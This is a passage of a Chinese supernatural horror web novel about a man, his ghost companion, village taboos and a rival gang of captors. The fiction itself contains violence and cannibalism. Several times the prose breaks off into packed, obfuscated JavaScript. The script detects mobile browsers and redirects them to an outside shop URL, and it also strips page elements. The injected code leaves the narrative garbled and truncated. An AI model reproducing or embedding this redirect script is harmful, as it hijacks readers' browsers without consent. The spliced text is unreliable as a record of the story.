“谢谢。”他抹抹嘴,向神像道谢。 嵬山祠不大,内里和民房没区别。除了正中央的神像,房屋两边只有两排木桌,桌上红烛融成一片,血肉般铺遍桌面。 方休绕到神像后方看了看,后面垒了个大通铺似的砖台,上头的草席早已朽烂。 堂前火光明亮,神像影子覆在台上,犹如奇形怪状的树荫。 方休这里敲敲,那里打打。地板和砖台都是实心的,没有密道存在的痕迹。连神像都是实心的,百分之百纯木制。 烛火跳动,神像唇边的影子忽明忽暗,笑意越发鲜活。 “弄痒你了?抱歉,我只想确认下。”方休老实道歉,“顺便一说,你没有蛀虫,状态非常棒。” 神像笑容淡了两分:“……” 白双影:“……” “你不怕?”良久,白双影问。 方休叹气:“当然怕,所以我才先来祠堂。毕竟按照传统,坟地也有供品。” 此人关注点还是怪得清新脱俗。白双影放弃询问,注意力转向大门。 方休正朝大门倒退,试图把整个神像收入视野。他的身后,有只低级邪祟紧贴门缝,血红眼球锁定方休。 区区一只杂碎,白双影想。自己只消动动念头,就能让它滚蛋。不过事到如今,他起了点多余心思—— 他想看那人雷打不动的从容破碎,露出点别的表情。 紧要关头,他还能轻松救下方休,解开那人对自己的离谱误会。正好一石二鸟。 白双影眼见方休退到门槛,停在邪祟触手可及的范围。那人双手背在背后,指尖即将露出门外。 邪祟哪挡得住这种诱惑。它越过门槛,猛地抓向方休手腕,意图将人拖入黑暗。 下个瞬间,尖叫炸响。 只是那尖叫不属于方休——鬼爪刚进门,一道金光闪过。方休右手一收一别,铜钱剑径直斩出,剜下了邪祟整条小臂。 一切不过眨眼工夫,方休连头都没回。 断肢骨碌碌滚进来,停在祠堂中央。方休关好门,拾起那条青黑鬼臂。 “刚才让你干看着我吃饭,挺不好意思的……给,你也吃点儿?” 他朝白双影露出真诚的笑容。 …… 解厄塔顶。 “阴煞星动,主大灾。” 阴影之中,一个清冷女声说道。“煞星模糊,似有重影……似有重影……” 说到这,她突然顿住。 “……王八羔子有两个?”女声喃喃自语,“算了,不关我事。” 祭祀日夜不停,祭品千千万万。就算出现惊世煞星,也是阳间的事。只要“那家伙”没有异动,问题不大。 她要看守的邪祟,才是重中之重。那邪祟阴晴不定,肆意妄为,丝毫不把人世间当回事。 千年前便有谶言,■■■现世之日,鬼门关动荡之时。…… ■■■……■■■……说起来,她在看守什么来着? 算了,只要“那家伙”没有异动,问题不大…… 8. 发丝指环 “……给,你也吃点儿?” 方休双手捧着那条鬼臂,“我看外面摊子有卖,你能吃的吧。” 他现点现做,肯定比摊子上的肢体新鲜。只是不知道合不合白双影口味,说不定人家就喜欢吃熟成的。 白双影肉眼可见地放空几秒,然后才说要吃。 方休察觉到对方脸上的问号:“我看它们不敢进祠堂,感觉这里会削弱邪祟,就钓了一只试试……主要是剑好用,我没花多少力气。” 那条鬼臂探进祠堂,切起来软得像黄油。 听到这话,白双影一言难尽地看过来,像在控诉什么。 方休了然,立刻在脸上挂好一副对联。左边写“实力不强削弱无妨我都懂”,右边写“这么难受还跟进来你真棒”。 横批“感恩有你”。 白双影不理他了,低头嘎吱嘎吱啃鬼臂。 “其实邪祟最爱吃人类生魂,大补。”啃到一半,白双影意有所指地说。 方休恍然大悟:“怪不得让我们当祭品。那我们死在这,生魂算谁的?大家先到先得?” “差不多吧。”白双影继续啃鬼臂,他开始习惯方休屎一样的重点了。 “这多可惜,要是我死了,我希望被你吃掉。”方休摇头。 白双影不嚼了:“为什么?” “死都死了,肥水不流外人田。” 方休理所当然道,“说到这个,有没有法子让我把生魂指定给你?” 白双影:“?” 有人求死后魂魄不散,有人求来世飞黄腾达,他唯独没见过这种要求。他以为方休在说客套话,没想到这厮认真上了。 “不止是我的生魂。某些人死了,我也能操作一下。”方休越说越来劲,“生魂大补,你多补补。” 白双影:“……好的。” 有道理。虽然哪里不对,但有道理。 白双影五指微动,一缕长发自行断下。它在他掌心漂浮盘绕,化作一枚漆黑指环。发丝编得异常紧密,首尾交融,找不到断点。 “人死半个时辰之内,你绕尸体画个圈。圆圈留缺口,缺口放指环。这样就指给我了,其他邪祟抢不得。” 白双影将指环丢给方休。 “那我呢?”方休眨眨眼,“我没法给自己的尸体画圈。” “只要戴着这指环,你就是我的东西。” 方休捏着指环端详许久。它色泽温润、触手寒凉,像是质地古怪的黑玉,非常漂亮。 他笑了一下,把它戴在了左手中指上。 …… 半小时后,嵬山祠。 “……你就直接进来了?” 贾旭大嚼猪头肉,问得口齿不清,“不是我说,兄弟,这样很危险。” 方休:“还好吧。” 方休没有把供品带走,而是叫同伴们自己来祠堂吃。反正外面的游魂不强,大家都有厉鬼傍身,人多力量大。 方休倚靠墙壁,看众人狼吞虎咽。 与白双影不同,其他人的厉鬼不愿进祠堂,一点都不仗义。 贾旭还在唠叨:“以后注意点。你夜里出门都可能犯忌,还跑来这种地方。” “这次算你运气好,下次你得多想想其他可能性,不要太莽撞。” “夜里出门不犯忌啊。”方休闲聊似的回答,“老棉和麦子天没亮就出了门。真要犯忌,他们犯一样的忌,死法也该一样。” “至于祠堂。邪祟不进祠堂,要么祠堂辟邪,要么祠堂有更可怕的邪祟。我的鬼没有提示,大概不是后者。” “既然祠堂辟邪,供品还有旺○牛奶这种东西,感觉不像陷阱。” 说到最后,方休顺便提了提“只有祭品能吃”的禁忌猜测。 贾旭噎了好久:“那个大婶被吃,没准是本地东西不能吃,外来的可以……” 说到一半,贾旭卡了壳。他记得黄毛白天啃过皮带,还是吐了。皮带是黄毛自己身上的,绝对算外来物品。 好吧,方休考虑得还算全面,但是…… “但是你没法百分百确定。”贾旭语重心长,“这神像一看就不对劲,说不定有其他禁忌。 “我要怎么‘百分百确定’?” 方休不懂就问,“难道我应该诱导同伴先上?……或者去抓不知道在哪的敌人,逼着他试错?” 他问得十分真诚,因此显得十万分阴阳怪气。 看这家伙祸害别人还挺有意思。白双影忍不住勾起嘴角,心情好了不少。 “你让他装个逼呗,说句贾哥英明就完了。”几步外,阴郁少年嘟囔出声。 贾旭不再吭声,面颊和耳朵涨成了红色。不过等大家酒足饭饱,他那股领袖劲儿原地复活。 “来的路上我看过,村里邪祟还算老实,强度也一般。大家可以再探探村子。” 贾旭郑重其事道,“有些线索说不定只在夜里出现。既然要找‘厄’,我们必须全面了解这个地方。” 白领姑娘犹豫着举起手来:“我好像听说过这里……” 贾旭眼睛一亮:“你说。” “我对‘嵬山’有点印象,我之前进过这的货……” 白领姑娘叫梅岚。她打扮像优雅白领,其实是字画店老板。 她的店曾卖过嵬山砚。嵬山砚销量一般,只有一个村子出产这种砚台,村名就叫嵬山村。 据梅岚回忆,嵬山砚停产好几年了。不过她只是个卖家,不清楚具体原因。 “我没记错的话,嵬山村是庚省的。嵬山就在墟山边界,西北那一片。”梅岚比划。 方休梦回初中地理。墟山是世界上最大的山群,属于必考知识点。 但他印象深刻不是因为热爱学习,而是广大人民群众喜欢给边缘小山瞎起名。诸如“裤衩儿山”、“狗叫岭”之流,在学生中广受好评,课堂上充满欢乐的气息。 相比之下,“嵬山”这个名字正经到感人。 如果这个村庄真的是“嵬山村”…… “也就是说,我们其实在庚省,这地方在现实里存在。”贾旭咽了口唾沫。 黄毛咧嘴:“嘿,老子就知道!十里地外说不定还有公安局呢。” 一想到他们还在阳间地界,大家情绪都平稳了不少,跟着贾旭出了门。 临行前,贾旭目光扫过方休,在那枚新指环上停留片刻。 …… 有吃有喝有底气,一行人没那么着急了。他们挨个探查灯火通明的房屋,倾听窗户里的声音—— 房内有人交谈,孩子笑闹不止。乍一听挺自然,再仔细听,那些话语如同AI念乱码,没有任何含义。 交谈间隙里,老式电视沙沙作响。尽管他们都知道,屋子早已搬空,里面压根没有电视机。 黄毛吓得脏话连连,成松云双手合十,磕磕巴巴默念佛经。 “我进去看看。” 探到某间只住了一“人”的房屋时,贾旭开了口。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13538422|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 说罢他召出画皮。画皮咯咯笑个不停,双手在贾旭脸上一抹。顿时,贾旭面皮腐烂、浑身阴气四溢,活脱脱一具僵尸。 这大概是画皮的能力,方休心想,然后他就看到贾旭走到面前。 “你的鬼能借给我吗?”贾旭问得很直接。 “画皮妖术不能断,没法防御,我需要厉鬼外援。你和其他人一起,还有四只鬼罩着。” 方休愣了愣:“你得问白双影愿不愿意。” 他其实想当场拒绝。奈何贾旭话说得太开,他又是唯一一个乐于放养厉鬼的人。 白双影正在队伍最末东张西望,贾旭主动迎了过去。 方休扭头看,两人刚好被一道树影遮蔽,看不清身影。 自己跟去旁听是不是有点过了?他不是白双影的监护人,厉鬼也需要社交空间…… 另一边。 面对白双影,贾旭有些紧张。他放低声音,又把协助请求说了一遍。这一次,他多加了几句话。 “方休说您是艳鬼,我知道您的实力不止于此。”贾旭说,“我的画皮非常怕您,您在祠堂的表现也很特别。” “我没别的意思,就想跟您打个招呼。我保证不害方休,大家好好合作、好好相处……” 贾旭说不下去了。 他的对面,白双影在笑。 大部分时间,这只厉鬼都面无表情。那张漂亮脸孔比起“脸”,更像等待使用的道具。 此时此刻,贾旭这种感觉格外强烈。 白双影的笑容很美,也很违和。如同一个从未见过人类的东西,正在随意摆弄那张人脸。 扭曲的异质感扑面而来,贾旭汗毛炸起,他的画皮在影子里疯狂颤抖。 “你要向我祈求什么?”白双影笑着问。 贾旭张张嘴,没能发出声音。 他有种被看穿的惶恐——他瞧见了方休的新指环。他想过,如果跟白双影打好关系,自己也能得到类似的好处…… “你要向我祈求什么?”白双影笑着问,语调与之前一模一样。 贾旭一动不敢动。 他想过,方休性格迟钝,不怎么敬重白双影。自己更擅长人情世故,肯定能轻易成功…… “你要向我祈求什么?”白双影笑容越发灿烂。淡色嘴唇咧开,露出漆黑的口腔。 “没、没什么,我这就回去。”贾旭拼命挤出声音。 ……他错得离谱。厉鬼都是不通人性的东西,他得赶紧逃。 白双影施施然走到方休身边。 方休忍不住问:“谈完了?” 白双影嗯了声:“我不去。” 说完他停了停,“他好奇你的指环,也想要一个。” 方休震惊。贾旭自愿投喂他的鬼,这是一种怎样的精神。 “那他人还挺好的,你给他了吗?” 白双影:“没有,他看起来很难吃。” 不如说,那才是他所熟知的人类。永远自作聪明,又不够聪明。 白双影抬起双眼,白眸指向村庄东侧。 村庄东侧,嵬山祠前。 戴玉佛的男人扯扯锁链。锁链另一端拴着个衣衫褴褛的人,正是祭祀开始时的疯子。 那人满脸脏污,嘴里喃喃念着什么。他左手用力抓挠身体,右手牢牢绑着一支火把。 “快点。”玉佛男无视围观的游魂,把疯子踹向祠堂。 “赶紧烧了,烧干净。”他不耐烦地说。 9. 突然袭击 最终成松云的怨鬼去陪了贾旭。 贾旭与怨鬼一前一后进入小院。再出来时,贾旭那张僵尸脸尤其僵硬。 他说屋里有只老太太鬼,眼鼻口都是凹进去的洞。它招待贾旭和怨鬼进门,拿出两只嗑口茶缸,还倒了不存在的茶。 它絮絮叨叨说了许多话,贾旭半个字没听懂,只能嗯嗯乱回。临走时,它硬塞给他们两颗糖,糖纸里包的是土块。 刚出院子,贾旭就解除了僵尸伪装:“这些东西在模仿人类日常。屋里只有几本旧杂志,没啥特殊线索。” 意味不明的模仿比直接敌对还吓人,夜色都遮不住他的鸡皮疙瘩。 客人离开,房屋里又响起咿咿呀呀的唱戏声。方休听了几耳朵,音质像是收音机。 外面的邪祟摆摊赶集,屋里的邪祟聊天休闲。贾旭说邪祟在模仿村民的行为,的确有些道理。 贾旭定定神:“总之能进屋就是好事。明天白天倒个时差,咱们明晚再好好调查。” 大家白天跑了一整天,眼下就算不饥不渴,状态也不怎么好。 黄毛建议先去祠堂吃一顿,再回仓库休息,得到众人的一致赞同。有计划就有盼头,两位老手暴毙的阴影淡去不少。成松云甚至提议,回去让老棉和麦子入土为安。 商量得差不多了,贾旭准备带队往回走。他冲手里的土糖块皱皱眉,抬手将它们扔到路边。 两颗糖七歪八扭落进污泥,像一双歪斜的眼,看着就晦气。贾旭拍拍手,头也不回地离开。 方休走过去,默默捡起糖果。 糖果包装是上个世纪流行的蜡纸,染了喜庆的大红色,上面端端正正印着“双喜硬糖”。明明被丢进泥泞,糖纸却没有沾湿,反而越发鲜艳。 方休把糖果放在掌心,站在那翻来覆去地看。白双影没在糖上发现可疑阴气,索性由着方休折腾。 直到前方一阵骚动,方休才回过神来。 从刚才开始,队伍最前的贾旭越走越慢,有一下没一下地挠脸。没走几步,他就把皮肤挠出了血,但他还是着魔一样挠个不停。 嘎吱、嘎吱。指尖抓过湿润的皮肤,发出让人不愉快的翻搅声。贾旭指甲戳入伤口,两只手一起猛抓。血液混上雨水,染红了他大半张脸。 “好痒,好痒……”贾旭指尖黏着碎肉,表情逐渐惊恐,“怎么回事……怎么这么痒……” 这状况像极了犯忌。事发突然,众人手足无措。 刚才贾旭自己进的鬼屋,谁都不清楚具体细节,更不可能知道他触犯了哪条禁忌。好不容易得来的轻松气氛荡然无存,黑暗铅一般压下来。 贾旭已经站不稳了,他胚胎似的蜷在地上,嘎吱嘎吱的抓挠声几乎盖过雨声。 方休一个箭步冲上前。他在贾旭面前蹲下,把那两颗糖果硬塞进贾旭裤袋。 效果可谓立竿见影。贾旭大喘几口气,挠脸的动作慢了下来:“你……” “好歹是老乡给的礼物,出门就扔不太礼貌。” 方休主动解释道,“那些邪祟假装自己是村民,我们得用对待村民的方式对待它们……我是这么猜的。” “谢了兄弟,多亏你反应快。”贾旭气喘吁吁地坐起身。那股恼人的瘙痒终于消失,他脸上只剩火辣辣的疼痛。 回想起来,他刚出门时还没啥事,确实是扔了糖之后才出现异状。幸亏这个禁忌不致命,贾旭心有余悸。 “这个禁忌又要怎么说,‘不能伤老乡的心’?鸡毛蒜皮都犯忌,这样下去啥也别干了。”贾旭摸了摸血肉模糊的脸,语气有些僵硬。 方休摇摇头:“应该不至于,你先冷静一点。” “厄”只是个物件,没有思维,禁忌复杂不到哪里去,方休不认为它能搞出一整本嵬山村法律法规。贾旭的遭遇只是现象之一,俗话说得好,生活需要透过现象看本质。 白双影看戏看得挺高兴:“我说你怎么捡得那么顺手,原来知道不能扔。” “不,我现猜的。”方休回头看向那座小院,“刚才我只是想起了奶奶,以前我奶奶总是硬塞点心给我。” “以前?” “嗯,她去世了。”方休抿抿嘴唇。 白双影唔了声。想到之前那条鬼臂,他决定对方休稍微客气点儿。 “不必想太多。人要变成厉鬼,首先必须横死,死时还得有强烈的执念。”起码你奶奶不会夜半梦回给你塞土块。 方休:“那她肯定变成了厉鬼。我亲眼看着她横死,她死的时候恨到死不瞑目。” “……恨谁?” “恨我。”方休说。 白双影第一次在方休脸上看到不那么从容的表情。他发现,自己没有想象中那么舒心。 他在方休脸上看到了淡淡的悲哀。 不过那悲哀很快消失殆尽,变成了某种凝重。 方休眉头慢慢拧起,嘶了一声:“这样查下去真的没问题吗?要是每家鬼都给贾旭塞东西,他又不能扔,难道要大包小包全带在身上……嵬山村民风过于淳朴了……” 他还能期待什么呢,白双影麻木地别开视线。 …… 夜色浓重,风雨交加,邪祟时不时擦肩而过。谁都不想殿后,众人一个比一个脚步快。于是走着走着,方休又到了队伍最后。 准确地说,他和白双影一起落到了队伍末尾。白双影溜溜达达地走,步子比他还慢。 “你有没有闻到什么味道?”走到祠堂附近,方休抽抽鼻子。 空气里好像有股淡淡的焦糊味儿。 白双影的表情消失了,他一把捏住方休后颈,五指紧得像铁钳。雨水打上那双雪白瞳孔,白双影的眼睛却一眨也不眨。 “别过去。”他说。 方休刚想问为什么,就听见了梅岚的尖叫。 紧接着他看见黄毛朝自己冲来,逃到一半跌倒在地,被什么东西硬生生拖回黑暗。刺骨寒意席卷而来,方休绷紧后背,拔腿就要跑。 就在这时,白双影将方休往怀里猛地一拉,周遭雨幕一阵扭曲。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13538423|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方休突然发现,周围雨声突然变小许多,自己的呼吸声也消失了。 是白双影的能力……他的能力好像是“伪装”来着?方休不太确定。 “嘘。”白双影把方休圈在怀中,“别乱动,他发现不了你。” 方休愣了一瞬,他并未挣扎,只是顺势抱住了白双影的背。 邪祟到底是邪祟。白双影身体冰冷,胸口没有心跳,也不见呼吸起伏,抱起来有点奇怪。 不过白双影的味道十分好闻。他身上非但没有怪味,反而有股湿润厚重的植物气息。方休忍不住闭上眼睛,轻轻嗅了两下。 “红衣服的,我看见你了。”伴随着哗啦啦的锁链声,一个粗重男声说道,“赶紧滚出来,早出来少遭罪。” 那人越走越近,方休侧过头,逐渐看清了敌人的样子。 那是个满脸横肉的男人,脖子上只挂了一个玉佛,大概是玉佛壮汉的同伙。 此人下巴一道刀疤,面相不像善茬。他身穿黑色POLO衫,手里紧拽一条锁链,锁链末端分了五头,紧紧拴着方休那五个同伴。贾旭和黄毛带头挣扎,试图挣开脖子上的锁链,可惜无济于事。 那人轻轻松松拖拽众人,仿佛那不是五个成年人,而是五只轻飘飘的气球。 “勾魂锁链。”白双影语气带嘲讽,“地府连这东西都拿出来了。” 方休小心翼翼发出气音:“怎么说?” “无论邪祟还是魂魄,一旦被锁住,绝对逃不掉。” “……这有点耍赖了吧。”新老用户体验差别太大,方休简直想投诉地府。 白双影:“不过,道行够深才能锁住邪祟。普通人类拿着它,最多锁一锁其他人类。” 方休:“……” 原来是对同胞神器,失敬。 等等,替命玉佛可以争抢,他姑且当做地府设计失误。但把勾魂锁链扔进祭祀,跟扔根搅屎棍有什么区别?如果地府指望他们团结一致破坏“厄”,根本不该做这种事。 ……事情变得越来越有意思了,方休垂下眼。 “赶紧出来!” 刀疤男目光穿过方休的位置,赶家畜似的吆喝,“现在开始每过一分钟,你不出来,我就剁这帮人一根手指。” 锁链末端,方休的同伴们齐齐一僵,挣扎得越发拼命。他们的厉鬼似乎也被影响了,影子摇摇摆摆,没有现身。 方休小小地“啧”了声,在白双影怀里动了动。 白双影:“你不会是想出去吧?”你这人看着也不像好东西啊? “他是认真的,剁手指不影响拿人试禁忌。”方休轻声说,“如果我现在不出去,他们五个要是残废了,之后都会记恨我。那样对我下一场祭祀很不利。” “所以你决定这场祭祀就死。”白双影总结道。 “不。”方休笑起来,“这些人也是老手,肯定收集到了不少情报,我正好去看看。” “如果他们真想用我试禁忌,那么我也拿他们试禁忌,应该没关系吧?” 10. 朋友宣言 好消息,玉佛团伙没有一直拴着他们。坏消息,他们被关进了笼子。 玉佛团伙把废院改成了完美监狱。他们六个被关在同一个笼子里,隔壁关着那个孤身一人的疯子。 疯子全身溃烂,两只手紧紧绑在背后,他正在疯狂扭动,嘴里发出不像人的低嚎。 好消息,他们的厉鬼不再被勾魂锁链影响。坏消息,笼子上贴了辟邪符箓,厉鬼陪他们一起坐牢。 只有白双影没坐牢。此鬼一路跟来,眼下正绕着院子中央的篝火遛弯。除了方休,谁都没有注意到他。 要不是方休自认想象不出这样漂亮的脸,他都要以为自己出现幻觉了。 “妈的这帮畜生真损,关就算了还贴符。”黄毛踹了脚笼子,瞥向方休,“哥们够仗义,陪兄弟一起倒霉。” 方休心不在焉地应了声,继续观察敌人的据点。 玉佛团伙一共四个人。 为首的壮汉、袭击他们的刀疤男,这两人眼下不在院子。 看守他们的是另外两人——一个穿白大褂的中年男人,一个麻杆似的痞子。他们称呼彼此“大夫”和“瘦猴”,身上都没有玉佛,看着像两个喽啰。 瘦猴晃荡过来:“你们那俩影子是啥能力?说来听听。” 黄毛喷唾沫:“傻逼,凭啥告诉你?” “哥没问你,哥在问美女。”瘦猴往梅岚身上扔了块骨头,“来美女,跟哥讲讲,哥放你出来吃香喝辣。” 梅岚缩在笼子角落,一声不吭。 “给脸不要脸。”瘦猴呸了声,往黄毛跟前丢了把刀。 “去捅那女的,别一下捅死,弄到她开口为止。” 黄毛:“我有病吗我搞自己队友?” 瘦猴呵呵笑:“那就先弄你。老大最烦刺头儿,你又膘肥体壮的,够吃好几天。” 他指指篝火,篝火附近还有搭柴烧烤的痕迹。几根白骨散在地上,方休一眼就认出了人类的腿骨。 成松云绷不住了:“祠堂有吃的,别这样……” “祠堂?早烧没啦。” 瘦猴掏出勾魂锁链,边把玩边看黄毛,“你到底捅不捅?” 黄毛明显紧张起来。他看看地上的刀,又看看瑟瑟发抖的梅岚。挣扎片刻,他弯腰捡起了刀。 梅岚吓得全身一哆嗦,死命摇头。 贾旭抓住黄毛的胳膊:“咱不能内讧——” “少你妈装,要么你替老子死!”黄毛猛地甩开他的手。 “够了,我说,我来说!”方休捂住耳朵叫嚷,像是崩溃了。 “我们抽了鬼签,能用鬼的一种法术!代价、代价是用一次,阳寿减一年。” 黄毛还在呆愣,成松云倒是立刻反应过来:“是这样,是这样的,别逼我们了!” 瘦猴嘿了声,走到方休面前:“那你怎么就一个影子?” “我当时没敢抽签,”方休缓缓后挪,“场面很吓人……” 瘦猴看看手里的勾魂锁链。他听说这人是最后逮住的,一吓就自己出来了。如今一看,的确是个懦夫。 勾魂锁链天克邪祟之力。这帮人“防身手段”刚好是鬼术,怪不得这么好抓。 “行。你小子最好没演我,不然第一个宰你。” 瘦猴满意地勾勾手指,黄毛手里的刀自己飞了出来。他把刀一收,哼着小调走远。 贾旭挨到方休身边:“你太莽撞了。他们之前抓了大婶,指不定问了什么,万一他在对口供……” “大婶自己没有鬼,给不出太多细节。” 方休小声说,“主要我也想知道,关于我们,他们究竟了解多少。” 贾旭总算回过味来—— 瞎编乱造容易被揭穿,方休的话术半真半假刚刚好。他模糊了“鬼能单独行动”这件事,说得跟只有技能一样,还混了不存在的代价。 如果对面不知情,这误导可就大了。 “大婶知道我们都有鬼。那人却轻松地问我‘怎么就一个影子’,而不是问我的鬼在哪。” 方休盯着瘦猴的背影,“总的来说,这伙人并不了解我们。他们发现大婶的时候,她可能已经死了。” “哥们牛逼,咱们找机会偷袭。”黄毛兴奋道,活像刚才无事发生。 贾旭脸色难看:“够了,你也注意点。老棉说过,他们组就剩俩人——队友死了,肯定没法再招。” “才第一场,咱们就没了两个人。死一个人就少一份力量,你不要光顾着眼前……” 黄毛:“跟你说话了?” 见两人要吵,方休无聊转头,一双眼移向白双影。 篝火旁边,白双影遛弯的速度更快了,每两分钟就晃到他脸上。自己刚被关进笼子时,白双影脸上全是“求我帮你”、“快来求我”,现在表情又回归空白。 就很有意思。 在这活地狱般的景象里,那抹白色真的非常漂亮。 “红衣服的,出来给我当狗。” 瘦猴进屋待了会儿,也许是觉得无聊,又拖着链子走出来。 那个“大夫”直皱眉:“你别……” “这里屁都没有,闲着也是闲着。”瘦猴说,“那小子没啥能力,拿来解闷咋了?我又不弄死他。” 大夫叹了口气,不再说话。 方休倒无所谓,他要的就是这个效果——现在他成了“弱小的懦夫”,对面的警惕心不会太强。 越接近敌人,他的机会越多。方休摆出一副怯懦模样,等着瘦猴把他放出笼子。 就在此刻,白双影停下脚步。 他慢吞吞转过身,深深地看了方休一眼。 下一秒,他在方休面前展开了。 除了“展开”,方休想不到其他形容。白双影身体奶油般融化延展,化作大片扭曲色块。其中无数暗色混杂变幻,如同AI生成的梦境之物。 瘦猴整个人弹了下,像是才发现面前有东西。他还没来得及反应,一个声音幽幽响起—— 【你是一棵树。】那声音说。 瘦猴目光变得无比呆滞。 他歪歪扭扭走到笼子旁边,踢掉鞋子,双脚深深挤入土壤。土还算松软,可是他挤得太过用力,皮肉骨头血淋淋脱离开来。 【树不会说话。】那声音说。 瘦猴的痛哼顿时消失,连呼吸声都停止了。他鲜血淋漓地立在原地,姿势扭曲变形,像在模仿树木枝干。 【树没有心跳。】那声音又说。 篝火微光中,瘦猴面色迅速灰败。 他死了。 那具尸体维持着怪异的姿态,就杵在笼子旁边。 自始至终,除了方休,没有人注意到这些异象。大家各忙各的,仿佛面前的一切理所当然。 白双影并没有恢复人形,他缓缓飘近方休。 这个人类待他像对待弱者,却准备向一个泼皮无赖低头——哪怕知道方休在伪装,白双影也咽不下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“说句心里话。我的同伴害我可能有好处,你害我却没什么好处。我们偶尔拉一把彼此,就这么走下去……这不就是朋友吗?” “我只是想和你好好相处,白双影。” 白双影凝固许久,最终兴味索然地变回人形。 行吧,方休只是表达善意的方式有毛病。这人脑袋毛病很多,不差这一个。 白双影习惯于俯视人类,其实他也不清楚怎么才算“朋友”。但他完全不想承认这一点——方休难得服了软呢。 事情发展和他料想的差距极大,方休完全不在乎瘦猴的死。但既然结果凑合,他懒得深究。 “我们可以是朋友。”白双影高深莫测地表示。 白双影斜了眼瘦猴的尸体,重点补充:“作为我的朋友,你不能随便向废物低头。” 方休点头:“好。以后你有什么在意的,随时跟我说。” 白双影心满意足:“那我撤法术了,小心点。” 说罢,他又开始绕篝火散步,步伐比刚才自在许多。 法术消失,众人没什么特殊反应,仿佛瘦猴从一开始就不存在。诸多目光坦然扫过瘦猴的尸体,就像那棵树一直都在那里。 ……就像玉佛团伙从未过问,他们队伍里“白衣第八人”去了哪里。 不过这些都是小事,方休想。 重要的是,从今天开始,他有了一个漂亮又直率的朋友。 后半夜。 身穿白大褂的“大夫”走到笼子边,他神经质地咬着手指,眼圈红得厉害。 “我、我必须说些事。关于祭祀的事情,你们最好、最好有点心理准备。” “对不起。”他说着说着,看起来快哭了,“对不起……” 11. 祠堂异象 “这祭祀不把人当人看。” 大夫脸挤在笼子的木栅栏间,一双眼球凸出,十指上全是破口。他的白大褂上溅了斑斑点点的血渍,看起来狼狈极了。 “我也不想这样,都是地府在引导。”他说,“它们根本不在乎人命,别怪我……” 这人语气就像跟实验动物说话,还是马上就要拿来解剖的那种。 严格说来,他们和实验动物差不多就是了。 “什么叫不把人当人看?”贾旭脸上全是伤口,嘴一张,疼得他一个劲儿吸气。 大夫:“祭祀、祭祀不评判人性……只要能活,再残忍的手段也能用。我们只是消耗品,人命不值钱……” 方休没有太惊讶,也不认为大夫在扯谎。 他之前想,为了更好地对付“厄”,哪怕人们只是消耗品,地府至少会省着点用。 然而地府比他预想的残酷许多。它把勾魂锁链这种东西丢进来,根本在养蛊,毫无慈悲可言。 贾旭烦躁道:“就这么随随便便死人,阳间没人管?” 大夫沉默半晌,抽抽鼻子:“报应……” 他声音很小,方休没怎么听清。但是大夫的目的,他差不多能猜出来。 “你的意思是,哪怕你们拿我们试禁忌,也是没办法的事。”方休说,“祭祀一向这样,我们命该如此……是吗?” 大夫在试图合理化这一切,好减轻自己的负罪感。 大夫没有回答方休,他努力笑了下,笑得比哭还难看。 “……你们不要害怕。” 他的声音突然轻柔起来,像在哄小孩睡觉。 “我经历的祭祀,‘厄’通常有三条禁忌,其中只有一条会致命……我们已经找到一条半了,你们不至于吃太多苦……” 禁忌有三,这个麦子倒是没告诉他们,方休想。不过也是,麦子夫妇才第四场祭祀,不会说得太绝对。 “第一条,东西不能吃,人可以吃。犯忌不会死。” 大夫说,“第二条还没试完……不能破坏建筑不能攻击邪祟不能挖坟不能偷窃不能放火不能随地大小便……禁忌不可能这么复杂,你们只需要找到规律……” 成松云颤巍巍纠正:“不是‘人’可以吃,是‘祭品’可以吃。” “差别不大,反正犯忌不会死。”大夫嘟囔,“第二条也不会死人,最多痒一痒,所以不要害怕……” 大家纷纷瞧向贾旭脸上的伤,越发害怕了。 大夫同样注意到了贾旭的惨状。他掏出一小盒药膏,招呼贾旭上前:“你受伤啦,来,抹药。” 贾旭狐疑地看他。 “这是麻痹药,抹上很管用的。”大夫指指隔壁笼子的疯子,“我给那个人也抹了药,他还咬了我的手……” 贾旭踌躇片刻,眼一闭心一横,把脸凑过去。大夫手指蘸药膏,伸进笼子涂抹。随着他的动作,贾旭眉眼逐渐舒展,可见有些效果。 “好好休息吧……对不起……” 治疗完毕,大夫又开始神经兮兮地呢喃,“对不起,我也不想这样……” “脑子有病。”大夫走开后,黄毛评价道。 贾旭:“祭祀这么邪门,又是杀人又是吃人,是个正常人都受不了。” “哎哟,人家给你抹点药,你还舔上了。” “把人往积极方面想,总比拿刀捅队友好点。” 方休被吵得头疼,他挪到角落,倚着笼子小憩。 白双影不再散步,他在方休身边蹲下,隔着栅栏观察对方。瘦猴的尸体离方休不过两步,这人却睡得气定神闲。 看了好一会儿,白双影感觉不太尽兴,他轻轻撩开方休的刘海。 他发现方休睫毛还挺长。 正如人类看小猫小狗,白双影不擅长辨别人类的长相。对他来说,黄毛和成松云最大的区别是毛色。 但也正如人类看小猫小狗,他能分辨特别好看的和特别丑陋的,方休明显属于前者。白双影不明白,为什么方休要隐藏自己——人类总是对长相出挑的同类更宽容。 不过,隐藏自己的未必是弱小猎物,有些捕食者也喜欢这样做。 ……如果你是后者,你想要捕食什么? 